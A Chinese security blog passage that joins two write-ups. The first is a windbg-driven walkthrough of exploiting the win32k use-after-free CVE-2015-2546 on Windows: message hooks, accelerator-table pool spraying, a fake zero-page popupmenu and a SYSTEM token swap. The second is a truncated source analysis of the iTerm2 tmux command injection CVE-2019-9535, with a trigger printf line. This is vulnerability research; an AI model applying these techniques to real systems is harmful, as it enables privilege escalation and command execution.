9066940b 8b7d0c mov edi,dword ptr [ebp+0Ch]
kd> p
win32k!xxxMNMouseMove+0x1f:
9066940e 3b4708 cmp eax,dword ptr [edi+8]
kd> p
win32k!xxxMNMouseMove+0x22:
90669411 7511 jne win32k!xxxMNMouseMove+0x35 (90669424)
kd> p
win32k!xxxMNMouseMove+0x35:
90669424 894708 mov dword ptr [edi+8],eax
kd> r eax
eax=00000059
鼠标移动的情况下，eax的值是0x59，并非0x00，那么这个值从哪里来呢，在进入MNMouseMove前看一下参数。
kd> p
win32k!xxxHandleMenuMessages+0x2e8:
90669061 e889030000 call win32k!xxxMNMouseMove (906693ef)
kd> dd esp
85c47a98 fde8da68 9074f580 000f0059 9074f580
通过IDA pro分析一下HandleMenuMessages函数，看看这个值是从哪里来。
v5 = *(_DWORD *)(a1 + 4);
v6 = *(_DWORD *)(a1 + 8);
v7 = *(void **)(a1 + 12);
xxxMNMouseMove(v3, a2, (int)v7);
是a1，也就是HandleMenuMessages的第一个参数，这样我们可以回到CVE-2014-4113中，在调用HandleMenuMessages的时候，直接查看第一个参数偏移+0Ch位置的值，看看这个值是不是由我们决定的。
kd> p
win32k!xxxHandleMenuMessages+0x1e:
90668d96 8b4604 mov eax,dword ptr [esi+4]
kd> p
win32k!xxxHandleMenuMessages+0x21:
90668d99 8b5608 mov edx,dword ptr [esi+8]
kd> p
win32k!xxxHandleMenuMessages+0x24:
90668d9c 8b5e0c mov ebx,dword ptr [esi+0Ch]
kd> r edx
edx=00000000
kd> p
win32k!xxxHandleMenuMessages+0x27:
90668d9f b904010000 mov ecx,104h
kd> r ebx
ebx=00000000
kd> r eax
eax=00000201
可以看到ebx寄存器是esi+0ch的值，这个值是0，eax的值是0x201，回过头看一下正常Exploit中MyWndProc函数的PostMessages的参数调用。
PostMessage(hwnd,WM_LBUTTONDOWN,0x00,0)
这个第三个第四个特定参数都是0x00，那么我觉得这个可能和MNMouseMove中的值有关，于是我尝试修改了CVE-2015-2546中PostMessage消息传递的特定参数。
修改之后，我们重新跟踪调试。
kd> p
win32k!xxxHandleMenuMessages+0x21:
90668d99 8b5608 mov edx,dword ptr [esi+8]
kd> p
win32k!xxxHandleMenuMessages+0x24:
90668d9c 8b5e0c mov ebx,dword ptr [esi+0Ch]
kd> p
win32k!xxxHandleMenuMessages+0x27:
90668d9f b904010000 mov ecx,104h
kd> r edx
edx=00110011
kd> r ebx
ebx=00110011
果然这个值可控了，而且esi指针的值就+4h是PostMessage第二个参数，+08h是第三个参数，+0Ch是第四个参数，接下来，MNMouseMove也能够正常进入if语句的处理流程了。
kd> p
win32k!xxxHandleMenuMessages+0x2e8:
90669061 e889030000 call win32k!xxxMNMouseMove (906693ef)
kd> dd esp
85d07a98 fde8da68 9074f580 00110011 9074f580
kd> p
win32k!xxxMNMouseMove+0x1f:
9066940e 3b4708 cmp eax,dword ptr [edi+8]
kd> p
win32k!xxxMNMouseMove+0x22:
90669411 7511 jne win32k!xxxMNMouseMove+0x35 (90669424)
kd> r eax
eax=00000011
kd> p
win32k!xxxMNMouseMove+0x35:
90669424 894708 mov dword ptr [edi+8],eax
**在HOOK中挣扎和Exploit**
接下来，进入到消息钩子部分，主要处理的还是SendMessage异步处理时的消息，通过修改返回，最后达到漏洞调用位置，通过IDA
pro来跟踪一下MNMouseMove的执行流程，以及跟CVE-2015-2546有关的部分。
void __stdcall xxxMNMouseMove(WCHAR UnicodeString, int a2, int a3)
{
……
if ( (signed __int16)a3 != *(_DWORD *)(a2 + 8) || SHIWORD(a3) != *(_DWORD *)(a2 + 12) )
{
*(_DWORD *)(a2 + 8) = (signed __int16)a3;
*(_DWORD *)(v5 + 12) = SHIWORD(v4);
v6 = xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, v4);// V6通过HOOK可控，这里的sendmessage是异步处理
v7 = v6; // v7可控
……
if ( *(_DWORD *)(v5 + 16) == 1 ) // 这个外层if不一定会进来
{
if ( !v7 || v7 == -1 && *(_BYTE *)(*(_DWORD *)(v3 + 4) + 35) & 0x20 )// 判断返回值是0或者-1
return;
*(_DWORD *)(v5 + 16) = -1;
}
if ( v7 == -5 ) // 当返回值是0xffffffb
{
……
}
else // 否则进入这里
{
……
v9 = *(_DWORD **)(v7 + 176); // 获取tagPOPUPMENU的位置，偏移是+0B0h
……
v10 = xxxSendMessage((PVOID)v7, -27, UnicodeString, 0);
if ( v10 & 0x10 && !(v10 & 3) && !xxxSendMessage((PVOID)v7, -16, 0, 0) )
xxxMNHideNextHierarchy(v9); // 漏洞触发关键位置
经过分析，我们需要处理三处SendMessage的异步过程，第一处在FindWindowFromPoint，这个函数中会有一处SendMessage，通过异步过程执行钩子，但是我调试时发现在进入这个函数返回，但并没有执行钩子。
kd> p
win32k!xxxMNMouseMove+0x48:
90669437 e862010000 call win32k!xxxMNFindWindowFromPoint (9066959e)
kd> p
win32k!xxxMNMouseMove+0x4d:
9066943c f7470400800000 test dword ptr [edi+4],8000h
kd> r eax
eax=fea11430
跟踪一下这个过程，我发现在进入SendMessage之前，有一处if语句判断，当这个if语句判断不通过的时候，不会进入SendMessage处理。
kd> p
win32k!xxxMNFindWindowFromPoint+0x14:
906695b2 8b470c mov eax,dword ptr [edi+0Ch]
kd> p
win32k!xxxMNFindWindowFromPoint+0x17:
906695b5 85c0 test eax,eax
kd> p
win32k!xxxMNFindWindowFromPoint+0x19:
906695b7 746b je win32k!xxxMNFindWindowFromPoint+0x86 (90669624)
kd> p
win32k!xxxMNFindWindowFromPoint+0x86:
90669624 8b07 mov eax,dword ptr [edi]
kd> dd edi
fde8da68 12a10008 fea38d58 fea11430 00000000
可以看到这里eax的值是edi+0ch对应的值，也就是0，对应伪代码v5变量值为0，也就是if语句判断没通过，跳转了。这样我们还需要重新看一下这个值，这个值来自于tagPopupMenu结构体，通过CVE-2014-4113和CVE-2015-2546的tagPopupMenu结构体做一个对比。
kd> dt tagPOPUPMENU fde8da68//我们的Exploit中的结构体
+0x004 spwndNotify : 0xfea38d58 tagWND
+0x008 spwndPopupMenu : 0xfea11430 tagWND
+0x00c spwndNextPopup : (null)
kd> dt fde8da68 tagPOPUPMENU//CVE-2014-4113的结构体
+0x004 spwndNotify : 0xfea39de8 tagWND
+0x008 spwndPopupMenu : 0xfea12398 tagWND
+0x00c spwndNextPopup : 0xfea12578 tagWND
实际上，在通过TrackPopupMenu之后会调用MNLoop进入循环处理消息，而我们的exp中只有一个postmessage，于是我们增加到三个postmessage，再次调试跟踪。
kd> p
win32k!xxxHandleMenuMessages+0x2e7:
90669060 57 push edi
kd> p
win32k!xxxHandleMenuMessages+0x2e8:
90669061 e889030000 call win32k!xxxMNMouseMove (906693ef)
kd> r edi
edi=fde8da68
+0x004 spwndNotify : 0xfea39d18 tagWND
+0x008 spwndPopupMenu : 0xfea11430 tagWND
+0x00c spwndNextPopup : 0xfea12698 tagWND
这样，我们就能够处理了，接下来利用三个钩子，分别处理三种消息的调用，这个调用过程和CVE-2014-4113相比差别还是比较大的。需要来看一下最关键的钩子该怎么用。首先我们要分析一下和漏洞利用最关键的函数xxxMNHideNextHierarchy，这个函数有一个参数。
signed int __stdcall xxxMNHideNextHierarchy(int a1)
v1 = *(_DWORD *)(a1 + 12);
if ( v1 )
{
v2 = *(void **)(a1 + 12);
if ( v2 != *(void **)(a1 + 28) )
xxxSendMessage(v2, -28, 0, 0);//这里调用shellcode提权
这个参数a1直接影响到后面的提权，回到外层看一下这个a1从哪里来。
v6 = xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, v4);// V6通过HOOK可控，这里的sendmessage是异步处理
v7 = v6; // v7可控
……
v9 = *(_DWORD **)(v7 + 176); // 获取tagPOPUPMENU的位置，偏移是+0B0h
if ( v10 & 0x10 && !(v10 & 3) && !xxxSendMessage((PVOID)v7, -16, 0, 0) )
xxxMNHideNextHierarchy((int)v9); // 漏洞触发关键位置
正是从MNFindWindowFromPoint而来，本来是一次轻松愉快的旅程，但是实际上在逻辑代码中，有一个地方导致了这次旅程血崩，就是：
if ( IsWindowBeingDestroyed(v7) )
return;
这个地方会对窗口的属性进行检查，也就是说，v7不能是一个任意值，比如是我们直接通过零页分配的shellcode的某个地址指针，如果可以的话，后面就会导致其他的利用了，因此这个值必须是一个窗口的值，因此我们用一种方法：
就是创建窗口A和窗口B，在这里通过异步调用，返回窗口B的值，这样后续处理中，就会将窗口B的tagMenu偏移+0B0h位置的值，也就是tagPopupMenu交给v9，那么随后在最后一个SendMessage中销毁窗口B，通过一些方法将销毁后的位置占位，因为后面没有进行判断，从而可以调用占位后的值。而通过分析xxxMNHideNextHierarchy，内层函数用的是tagPopupMenu->spwndNextPopup，因此，只要在占位时再控制这个值，为一个我们可控的值，最后就能在xxxMNHideNextHierarchy里的sendmessage完成最后一步提权了。
有了这个思路，我们就可以开始完成整个提权的工作，首先，我们需要创建一个正常的主窗口，然后我们利用CreateAcceleratorTable来创建大量的tagACCEL对象，加速键表是一个非常好的pool
spray的对象，因为它的大小是可控的，我们利用CreateAcceleratorTable创建对象，然后在Windbg里跟踪对象创建过程。
kd> bp 13a1910 ".printf "Create Accelerator at: 0x%.08x\n",@eax;g;"
breakpoint 0 redefined
kd> bp 13a192d
kd> g
Create Accelerator at: 0xffb22c48
Create Accelerator at: 0xfe7f4eb0
Create Accelerator at: 0xfe9ef1d0
Create Accelerator at: 0xfdf756c8
Create Accelerator at: 0xffa30e28
Create Accelerator at: 0xfdf73440
Create Accelerator at: 0xffa020e0
Create Accelerator at: 0xfe898cd0
Create Accelerator at: 0xfdf81ab8
Create Accelerator at: 0xffa2e0d0
Create Accelerator at: 0xfe9fbd08
Create Accelerator at: 0xfe8ff868
Create Accelerator at: 0xfdfdab70
Create Accelerator at: 0xfe9a4690
Create Accelerator at: 0xfded3a70
Create Accelerator at: 0xffa0ac88
Create Accelerator at: 0xffaa6d90//这个位置创建了Accelerator，在后面这个位置被释放，tagPOPUPMENU会占用
Create Accelerator at: 0xfe966c98
Create Accelerator at: 0xfe8a4e88
Create Accelerator at: 0xfdfdeb68
Create Accelerator at: 0xfde9da70
Create Accelerator at: 0xfe952528
Create Accelerator at: 0xffa300d8
Create Accelerator at: 0xfe5ffa70
可以看到，这里分配了大量的tagACCEL对象，上面代码注释部分的0xffaa6d90是我在后续过程中释放的其中一个tagACCEL对象，在后面需要每隔一个间隔释放一个tagACCEL对象，用DestroyAccelerator来将加速键表的对象释放掉。正如之前我所说，由于Accelerator
Table在申请时大小可控，我们申请的每一个tagACCEL对象要和tagPopupMenu相同大小。
之后，我们需要建立一个新的窗口，如之前我标红段落所述，由于之前的那处判断，导致我们不能直接构造fake
WND，而需要用一个窗口，这个主窗口需要包含弹出菜单，也就是tagPopupMenu，这样才能直接占位。
Windows给我们提供了一个非常有趣的窗口，类名为：#32768，这是Windows默认的包含弹出菜单的主窗口，也就是，这个类名为#32768调用CreateWindowsExW创建tagWND后，会自动生成tagPopupMenu。
kd> p
PoC+0x19ba:
013a19ba 50 push eax
kd> r eax
eax=005b0770//创建#32768的tagWND
kd> dt win32k!_THRDESKHEAD 5b0770
+0x000 h : 0x000a0140 Void
+0x004 cLockObj : 4
+0x008 pti : 0xfe9edb80 tagTHREADINFO
+0x00c rpdesk : 0x8609a488 tagDESKTOP
+0x010 pSelf : 0xfea10770 "@???"//通过pself找到内核对象地址
kd> dd fea10770+b0
fea10820 ffaa6d90 00000000 00000000 00000000//ffaa6d90是tagPOPUPmenu，它占了之前Accelerator释放的坑
我们通过调用CreateWindowExW创建#32768的tagWND后，可以在偏移+0x10位置找到pSelf对象，泄露tagWND的内核对象地址，这样这个内核对象地址+0xb0位置存放的是tagPopupMenu，而这个值是ffaa6d90，正是我们之前释放的tagACCEL的地址。
直接通过!pool命令来看一下这个tagPopupMenu的占位情况。
kd> !pool ffaa6d90
Pool page ffaa6d90 region is Paged session pool
ffaa6000 size: 8e0 previous size: 0 (Allocated) Gla1
ffaa68e0 size: 50 previous size: 8e0 (Allocated) Ustm
ffaa6930 size: b8 previous size: 50 (Allocated) Uspp
ffaa69e8 size: b8 previous size: b8 (Allocated) Uspp
ffaa6aa0 size: 158 previous size: b8 (Allocated) UsDI
ffaa6bf8 size: 158 previous size: 158 (Allocated) UsDI
ffaa6d50 size: 10 previous size: 158 (Allocated) Glnk
ffaa6d60 size: 18 previous size: 10 (Allocated) Ggls
ffaa6d78 size: 10 previous size: 18 (Free) Usqm
*ffaa6d88 size: 40 previous size: 10 (Allocated) *Uspm Process: 8637d6a8
Pooltag Uspm : USERTAG_POPUPMENU, Binary : win32k!MNAllocPopup
接下来我们开始利用钩子来完成hook过程。第一步，在FindWindowFromMessage函数调用中，处理1EB消息，这个和CVE-2014-4113很像。
90669437 e862010000 call win32k!xxxMNFindWindowFromPoint (9066959e)
win32k!xxxMNMouseMove+0x4d:
9066943c f7470400800000 test dword ptr [edi+4],8000h
kd> r eax
eax=fea10770
第一步钩子会返回窗口B的值，这样，也能绕过IsDestroy的判断，随后进入第二步处理，第二步处理的值，是1E5的消息，这个消息返回后会将返回值和0x10做一个判断。
xor edi, edi
push edi ; Address
push dword ptr [ebp+UnicodeString] ; UnicodeString
push 1E5h ; MbString
push esi ; P
call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
; 67: if ( v10 & 0x10 && !(v10 & 3) && !xxxSendMessage((PVOID)v7, -16, 0, 0) )
test al, 10h
jz short loc_BF939583
这样我们控制钩子令返回值为0x10就可以了。
kd> p
win32k!xxxMNMouseMove+0x134:
90669523 e87500f8ff call win32k!xxxSendMessage (905e959d)
kd> g
Breakpoint 16 hit
win32k!xxxMNMouseMove+0x139:
90669528 a810 test al,10h
kd> r eax
eax=00000010
kd> p
win32k!xxxMNMouseMove+0x13b:
9066952a 7457 je win32k!xxxMNMouseMove+0x194 (90669583)
第三步处理1F0的消息，这一步很关键，会调用SendMessage，在这一步的钩子中对窗口B，也就是#32768窗口进行销毁，这样tagPopupMenu也会被释放，销毁后我们使用Accelerator再次占位，由于这一步是在一个if语句里，因此需要返回值为0，才能通过非的判断。
.text:BF939530 push edi ; Address
.text:BF939531 push edi ; UnicodeString
.text:BF939532 push 1F0h ; MbString
.text:BF939537 push esi ; P
.text:BF939538 call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:BF93953D test eax, eax
.text:BF93953F jnz short loc_BF939583
.text:BF939541 ; 68: xxxMNHideNextHierarchy(v9); // 漏洞触发关键位置
这样的话，我们销毁窗口，并且进行占位，首先在调用SendMessage触发hook之前，我们来看一下当前tagPopupMenu对象池空间仍然是tagPopupMenu对象。
kd> p
win32k!xxxMNMouseMove+0x149:
0008:919f8282 e8f5c3f8ff call win32k!xxxSendMessage (9198467c)
kd> !pool ffaa6d90
Pool page ffaa6d90 region is Paged session pool
ffaa6000 size: 8e0 previous size: 0 (Allocated) Gla1
ffaa68e0 size: 50 previous size: 8e0 (Allocated) Ustm
ffaa6930 size: b8 previous size: 50 (Allocated) Uspp
ffaa69e8 size: b8 previous size: b8 (Allocated) Uspp
ffaa6aa0 size: 158 previous size: b8 (Allocated) UsDI
ffaa6bf8 size: 158 previous size: 158 (Allocated) UsDI
ffaa6d50 size: 10 previous size: 158 (Allocated) Glnk
ffaa6d60 size: 18 previous size: 10 (Allocated) Ggls
ffaa6d78 size: 10 previous size: 18 (Free) Usqm
*ffaa6d88 size: 40 previous size: 10 (Allocated) *Uspm Process: 8637d6a8
Pooltag Uspm : USERTAG_POPUPMENU, Binary : win32k!MNAllocPopup
ffaa6dc8 size: 20 previous size: 40 (Allocated) Ussy
ffaa6de8 size: 18 previous size: 20 (Allocated) Ggls
ffaa6e00 size: 78 previous size: 18 (Allocated) Gpfe
ffaa6e78 size: 50 previous size: 78 (Allocated) Ttfd
ffaa6ec8 size: 48 previous size: 50 (Allocated) Gffv
ffaa6f10 size: 70 previous size: 48 (Allocated) Ghab
ffaa6f80 size: 10 previous size: 70 (Allocated) Glnk
ffaa6f90 size: 70 previous size: 10 (Allocated) Ghab
随后，我们调用hook返回后，再次看一下tagPopupMenu对象位置
kd> p
win32k!xxxMNMouseMove+0x14e://tagPOPUPMENU被释放，出现40size的free空间，用Accelerator再次占位
0008:919f8287 85c0 test eax,eax
kd> !pool ffaa6d90
Pool page ffaa6d90 region is Paged session pool
ffaa6000 size: 8e0 previous size: 0 (Allocated) Gla1
ffaa68e0 size: 50 previous size: 8e0 (Allocated) Ustm
ffaa6930 size: b8 previous size: 50 (Allocated) Uspp
ffaa69e8 size: b8 previous size: b8 (Allocated) Uspp
ffaa6aa0 size: 158 previous size: b8 (Allocated) UsDI
ffaa6bf8 size: 158 previous size: 158 (Allocated) UsDI
ffaa6d50 size: 10 previous size: 158 (Allocated) Glnk
ffaa6d60 size: 18 previous size: 10 (Allocated) Ggls
ffaa6d78 size: 10 previous size: 18 (Free) Usqm
*ffaa6d88 size: 40 previous size: 10 (Allocated) *Usac Process: 8637d6a8
Pooltag Usac : USERTAG_ACCEL, Binary : win32k!_CreateAcceleratorTable
已经被Accelerator对象占位了，这样，由于Use After
Free的原因，在进入xxxMNHideNextHierarchy函数前，没有对tagPopupMenu值是否有效进行检查，而是直接引用了tagACCEL+0xc位置的值，这个值正好是cAccel也就是我们可控的一个值，这个值，为了令pool
size大小和tagPopupMenu相同，所以这个值为0x5。
kd> p//esi的值为占用tagPopupMenu的tagACCEL，+0xC为caccel
win32k!xxxMNHideNextHierarchy+0x2f:
0008:919ea12e 8b460c mov eax,dword ptr [esi+0Ch]
kd> p
win32k!xxxMNHideNextHierarchy+0x32:
0008:919ea131 3b461c cmp eax,dword ptr [esi+1Ch]
kd> p
win32k!xxxMNHideNextHierarchy+0x35:
0008:919ea134 740f je win32k!xxxMNHideNextHierarchy+0x46 (919ea145)
kd> r eax//tagPopupMenu由于释放并占位，变成了0x5
eax=00000005
kd> p
win32k!xxxMNHideNextHierarchy+0x37:
0008:919ea136 6a00 push 0
kd> p
win32k!xxxMNHideNextHierarchy+0x39:
0008:919ea138 6a00 push 0
kd> p
win32k!xxxMNHideNextHierarchy+0x3b:
0008:919ea13a 68e4010000 push 1E4h
kd> p
win32k!xxxMNHideNextHierarchy+0x40:
0008:919ea13f 50 push eax
kd> p
win32k!xxxMNHideNextHierarchy+0x41:
0008:919ea140 e837a5f9ff call win32k!xxxSendMessage (9198467c)
这样，我们就需要在0x5，也就是零页的对应的位置构造fake
popupmenu绕过内层函数的各处判断。接下来向内层继续传递，和CVE-2014-4113的利用过程就基本一致了。
kd> p
win32k!xxxSendMessage+0x23:
905e95c0 e882fdffff call win32k!xxxSendMessageTimeout (905e9347)
kd> dd esp
92dd3a14 00000005 000001e4 00000000 00000000
最后，执行到shellcode
kd> p
win32k!xxxSendMessageTimeout+0x1a9:
905e94f0 ff5660 call dword ptr [esi+60h]
kd> r esi
esi=00000005
kd> dd esi+60
00000065 00371410 00000000 00000000 00000000
kd> p
Breakpoint 6 hit
00371410 55 push ebp
下一个写入断点
kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
PROCESS 841bdab0 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 00185000 ObjectTable: 87c01be8 HandleCount: 490.
Image: System
PROCESS 845da8a8 SessionId: 1 Cid: 0ddc Peb: 7ffdf000 ParentCid: 0cf8
DirBase: 3f321500 ObjectTable: 95b440f0 HandleCount: 28.
Image: EoP_1.exe
kd> dd 845da8a8+f8
845da9a0 86094613 000078da 00000000 00000000原进程token
shellcode进行替换
kd> dd 845da8a8+f8 //提权Token
845da9a0 87c01337 000078da 00000000 00000000
kd> dd 841bdab0+f8 //系统Token
841bdba8 87c01337 00000000 00000000 00000000
现在是system的token了，这里我在调试的时候发现，程序完成提权后，无法正确关闭窗口，这样我在WndProc中加入了一个PostMessage，传递的消息是WM_CLOSE用来关闭窗口，最后完成提权，放一个提权后的截图
这个漏洞总体来说可以算是CVE-2014-4113的进阶，和内核较劲的过程非常有意思，一步步的思考和绕过，让我想起以前膜拜大牛们过狗的案例中一步步bypass的过程，实际上二进制也是一样。
那么这篇文章也写到这里，希望大牛们多多批评指正，也希望大家也都能有所收获，谢谢！
**传送门**
* * *
[**【技术分享】经典内核漏洞调试笔记** ****](http://bobao.360.cn/learning/detail/3170.html) | 社区文章 |
## 前言
2019年10月9号，Mozilla安全团队公开了iTerm2一个存在了7年的任意命令执行漏洞，用户在使用常规命令（如ssh、curl等存在信息返回的命令）时都存在被攻击的可能，而由于iTerm2的是目前Mac
OSX上最流行的终端之一，因此该漏洞影响范围较大，CVSS评分为`9.8（critical）`。
该漏洞存在于iTerm2的tmux集成模块中，但是与tmux的安装与否没有关系，只需要用户的iTerm2输出恶意的内容时，攻击者就可以在用户的计算机上执行命令，所以许多常见的命令都可以导致用户被攻击，如`nc`、`cat`、`ssh`、`curl`、`head`、`tail`等等。
## 什么是tmux？
> tmux 是一款终端复用软件，用户可以在一个窗口里通过 tmux 创建、访问和控制多个分离的终端，同时还允许对终端进行“解绑”与“附加”。
tmux提供了一个纯文本交互的接口以方便其他应用与tmux进行交互，这一特性称为`CONTROL
MODE`，iTerm2也通过这一特性来实现了[tmux集成模块](https://www.iterm2.com/documentation-tmux-integration.html)。
在tmux的man page中，可以知道`CONTROL MODE`可以由`tmux -C`和`tmux
-CC`启动，该模式要求client需要发送以回车为结尾的tmux命令，每个tmux命令都会有一个以`%begin`开头和`%end`结尾的文本块代表输出内容，或者一个以%error开头的文本块代表错误内容。
在`CONTROL MODE`中tmux服务端会向客户端输出如下内容，来通知其状态的改变：
* **%client-session-changed** client session-id name
* **%exit** [reason]
* **%layout-change** window-id window-layout window-visible-layout window-flags
* **%output** pane-id value
* **%pane-mode-changed** pane-id
* **%session-changed** session-id name
* **%session-renamed** name
* **%session-window-changed** session-id window-id
* **%sessions-changed**
* **%unlinked-window-add** window-id
* **%window-add** window-id
* **%window-close** window-id
* **%window-pane-changed** window-id pane-id
* **%window-renamed** window-id name
## 分析
首先先看对应的(commit)[<https://github.com/gnachman/iTerm2/commit/538d570ea54614d3a2b5724f820953d717fbeb0c]描述>:
> Do not send server-controlled values in tmux integration mode.
>
> CVE-2019-9535
>
> * Use session number everywhere rather than session name
> * Do not poll tmux for the set-titles-string, status-left, and status-> right and
> then request the values of the returned format strings. Use ${T:} eval
> instead. These features are now only available for tmux 2.9 and later.
> * Hex-encode options saved in the tmux server to make them unexploitable
> (e.g.,
> hotkeys, window affinities, window origins, etc.). The old values are
> accepted as inputs but will never be produced as output.
>
可以知道漏洞存在于处理`set-titles-string`，`status-left`和 `status-right`时没有对输入进行校验从而导致的命令注入。由于漏洞成因相近，本文只分析`set-titles-string`的漏洞原理和利用。
阅读tmux源码时，发现当以`-CC`进入`CONTROL MODE`时，tmux会输出`\033P1000p`和一个`初始化文本块`，例如：
\033P1000p%begin 1337 0 0
%end 1337 0 0
而iTerm2也是利用这一输出判断是否进入tmux模式，因此通过构造输出，iTerm2也会进入tmux模式
$ printf "\033P1000p%%begin 1337 0 0\n%%end 1337 0 0"
** tmux mode started **
Command Menu
---------------------------- esc Detach cleanly.
X Force-quit tmux mode.
L Toggle logging.
C Run tmux command.
在阅读iTerm2源码后，发现当处于tmux模式时，iTerm2会将tmux的输出传入`TmuxGateway.m`的`executeToken`函数中，该函数负责处理tmux的返回数据并调用相应的回调函数。
在处理`初始化文本块`时，会调用`currentCommandResponseFinishedWithError`函数
- (void)currentCommandResponseFinishedWithError:(BOOL)withError
{
// ......
if (!_initialized) {
_initialized = YES;
if (withError) {
[delegate_ tmuxInitialCommandDidFailWithError:currentCommandResponse_];
} else {
[delegate_ tmuxInitialCommandDidCompleteSuccessfully];
}
}
// ......
}
最后会进入`PTYSession.m`的 `tmuxInitialCommandDidCompleteSuccessfully`函数来进行初始化
- (void)tmuxInitialCommandDidCompleteSuccessfully {
// This kicks off a chain reaction that leads to windows being opened.
[_tmuxController ping];
[_tmuxController validateOptions];
[_tmuxController checkForUTF8];
[_tmuxController guessVersion];
[_tmuxController loadTitleFormat];
}
而该函数会调用`TmuxGateWay.m`的`sendCommand`向服务端发送一系列的tmux命令用于初始化：
# | tmux命令 | 回调函数
---|---|---
1 | display-message -p -F . | handlePingResponse
2 | show-window-options -g aggressive-resize | showWindowOptionsResponse
3 | show-option -g -v status | handleStatusResponse
4 | list-sessions -F "\t" | checkForUTF8Response
5 | display-message -p "#{version}" | handleDisplayMessageVersion
6 | show-window-options pane-border-format | guessVersion23Response
7 | list-windows -F "#{socket_path}" | guessVersion22Response
8 | list-windows -F "#{session_activity}" | guessVersion21Response
9 | list-clients -F "#{client_cwd}" | guessVersion18Response
10 | show-options -v -g set-titles | handleShowSetTitles
11 | show-options -v -g set-titles-string | handleShowSetTitlesString
当命令#10（`show-options -v -g set-titles`）的返回是`on`时，变量`_shouldSetTitles`值设为`true`，而命令#11（`show-options -v -g
set-titles-string`）将返回的内容存入`setTitlesString`变量中，使得该变量可控
- (void)handleShowSetTitles:(NSString *)result {
_shouldSetTitles = [result isEqualToString:@"on"];
[[NSNotificationCenter defaultCenter] postNotificationName:kTmuxControllerDidFetchSetTitlesStringOption
object:self];
}
- (void)handleShowSetTitlesString:(NSString *)setTitlesString {
_setTitlesString = [setTitlesString copy];
}
同时`handleShowSetTitles`函数会广播`kTmuxControllerDidFetchSetTitlesStringOption`消息，从而触发`PTYTab.m`的`tmuxDidFetchSetTitlesStringOption`函数。
- (void)tmuxDidFetchSetTitlesStringOption:(NSNotification *)notification {
if (notification.object != tmuxController_) {
return;
}
[self updateTmuxTitleMonitor];
}
- (void)updateTmuxTitleMonitor {
if (!self.isTmuxTab) {
return;
}
if (tmuxController_.shouldSetTitles) {
if (_tmuxTitleMonitor) {
return;
}
[self installTmuxTitleMonitor];
} else {
if (!_tmuxTitleMonitor) {
return;
}
[self uninstallTmuxTitleMonitor];
}
}
但是由于此时`tmuxController_`为`nil`，因此`notification.object != tmuxController_`为真，
**并不会调用`updateTmuxTitleMonitor`**。
但是， **如果**
执行了`updateTmuxTitleMonitor`函数，由于`_shouldSetTitles`为`true`，所以会调用`installTmuxTitleMonitor`
- (void)installTmuxTitleMonitor {
assert(!_tmuxTitleMonitor);
if (self.tmuxWindow < 0) {
return;
}
_tmuxTitleMonitor = [[iTermTmuxOptionMonitor alloc] initWithGateway:tmuxController_.gateway
scope:self.variablesScope
format:tmuxController_.setTitlesString
target:[NSString stringWithFormat:@"@%@", @(self.tmuxWindow)]
variableName:iTermVariableKeyTabTmuxWindowTitle
block:nil];
[_tmuxTitleMonitor updateOnce];
if (self.titleOverride.length == 0) {
// Show the tmux window title if both the tmux option set-titles is on and the user hasn't
// already set a title override.
self.variablesScope.tabTitleOverrideFormat = [NSString stringWithFormat:@"\\(%@?)", iTermVariableKeyTabTmuxWindowTitle];
}
}
而该函数把可控的`tmuxController_.setTitlesString`作为`format`参数，调用`initWithGateway`初始化一个`iTermTmuxOptionMonitor`类，从而导致`iTermTmuxOptionMonitor`的成员变量`_format`是可控的，而后续又会调用`iTermTmuxOptionMonitor`中的成员函数`updateOnce`
- (void)updateOnce {
if (_haveOutstandingRequest) {
DLog(@"Not making a request because one is outstanding");
return;
}
_haveOutstandingRequest = YES;
NSString *command = [NSString stringWithFormat:@"display-message -t '%@' -p '%@'", _target, self.escapedFormat];
DLog(@"Request option with command %@", command);
[self.gateway sendCommand:command
responseTarget:self
responseSelector:@selector(didFetch:)
responseObject:nil
flags:kTmuxGatewayCommandShouldTolerateErrors];
}
- (NSString *)escapedFormat {
return [[_format stringByReplacingOccurrencesOfString:@"\\" withString:@"\\\\"]
stringByReplacingOccurrencesOfString:@"'" withString:@"\\'"];
}
而在`updateOnce`函数中，将可控的`_format`变量中的`'`替换成`\'`以及`\`替换成`\\`后发送给tmux服务端，由于没有过滤CRLF从而导致后续利用的发生。
可是，此时的`updateTmuxTitleMonitor`函数并没有被执行，因此问题转变为如何触发`updateTmuxTitleMonitor`的执行。
在对iTerm2的tmux集成模块源码进行一番阅读后，发现`TmuxGateway.m`中的函数`parseSessionChangeCommand`，该函数在接收到tmux服务端返回的以`%session-changed`开头的命令时被执行，并且该函数最终会调用函数`openWindowsInitial`。
而在`openWindowsInitial`中，向tmux服务端发送命令`show -v -q -t $%d
@iterm2_size`并注册了回调函数`handleShowSize`
- (void)openWindowsInitial {
NSString *command = [NSString stringWithFormat:@"show -v -q -t $%d @iterm2_size", sessionId_];
[gateway_ sendCommand:command
responseTarget:self
responseSelector:@selector(handleShowSize:)];
}
- (void)handleShowSize:(NSString *)response {
NSScanner *scanner = [NSScanner scannerWithString:response ?: @""];
int width = 0;
int height = 0;
BOOL ok = ([scanner scanInt:&width] &&
[scanner scanString:@"," intoString:nil] &&
[scanner scanInt:&height]);
if (ok) {
[self openWindowsOfSize:VT100GridSizeMake(width, height)];
} else {
[self openWindowsOfSize:[[gateway_ delegate] tmuxClientSize]];
}
}
- (void)openWindowsOfSize:(VT100GridSize)size {
// ......
NSString *listWindowsCommand = [NSString stringWithFormat:@"list-windows -F %@", kListWindowsFormat];
// ......
NSArray *commands = @[
// ......
[gateway_ dictionaryForCommand:listWindowsCommand
responseTarget:self
responseSelector:@selector(initialListWindowsResponse:)
responseObject:nil
flags:0] ];
[gateway_ sendCommandList:commands];
}
在`handleShowSize`被回调时，会调用`openWindowsOfSize`向tmux服务端发送一系列tmux命令，其中有一条命令`list-windows -F
%@`的回调函数是`initialListWindowsResponse`，而该函数最终会通过函数`openWindows`来创建tmux窗口，在这过程中函数`appendRequestsForNode`会被调用。
由于`appendRequestsForNode`的调用链过长，在此不再赘述，调用链如下：
- appendRequestsForNode
- appendRequestsForWindowPane
- dictForGetPendingOutputForWindowPane
- getPendingOutputResponse
- requestDidComplete
- loadTmuxLayout
